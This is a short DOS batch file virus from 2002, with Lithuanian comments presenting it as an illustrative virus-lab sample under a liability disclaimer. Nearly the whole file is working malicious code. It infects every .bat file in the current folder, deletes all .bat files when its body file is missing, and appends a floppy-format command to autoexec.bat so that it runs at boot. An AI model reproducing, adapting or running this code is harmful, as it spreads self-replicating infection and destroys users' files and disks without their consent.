@echo off
:: DOS komandiniu bylu virusas. Iliustracine priemone. (c) NoTrust 2002
:: Autorius niekaip neatsakingas uz pasekmes sukeltas panaudojant si kodo fragmenta.
:: http://flamebox.narod.ru/viruslab.html

if not exist "body.bat" goto deletion
echo body.bat exists
:: jei nera bylos body.bat visos *.bat bylos bus istrintos
:: todel nepatartina jos pasalint
:: sukuriame laikina byla dbfv2002.bat, kuri tikrina ar bylos ne uzkrestos ir uzkrecia, jei ne
> dbfv2002.bat echo @echo off
COMMAND/E:2002/CFOR %%v IN (1 2) DO PROMPT find /c "(c) NoTrust; DBFV" %%1 $g$g nul$_ | FIND "$"/v >> dbfv2002.bat
>> dbfv2002.bat echo if errorlevel 1 goto uninfected
>> dbfv2002.bat echo goto infected
>> dbfv2002.bat echo :uninfected
>> dbfv2002.bat echo echo infecting %%1
COMMAND/E:2002/CFOR %%v IN (1 2) DO PROMPT type body.bat $g$g %%1$_ | FIND "$"/v >> dbfv2002.bat
>> dbfv2002.bat echo goto end
>> dbfv2002.bat echo :infected
>> dbfv2002.bat echo echo infected %%1
>> dbfv2002.bat echo :end
for %%a in (*.bat) do call dbfv2002.bat %%a
del dbfv2002.bat
goto implement

:: else no infection detected
:deletion
for %%b in (*.bat) do del %%b
echo Vyksta *.bat bylu pasalinimas....
goto ends
:implement
:: paprasciausiai paleidziam edit programa su uzkresta byla
> c:\keys.bat echo:
>> c:\keys.bat echo:
>> c:\keys.bat echo n

COMMAND/E:2002/CFOR %%v IN (1 2) DO PROMPT format a: $l keys.bat$_ | FIND "$"/v >> c:\autoexec.bat
echo U've been catched!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
edit %0
:ends
echo byla(os) uzkresta(os) ...well done
exit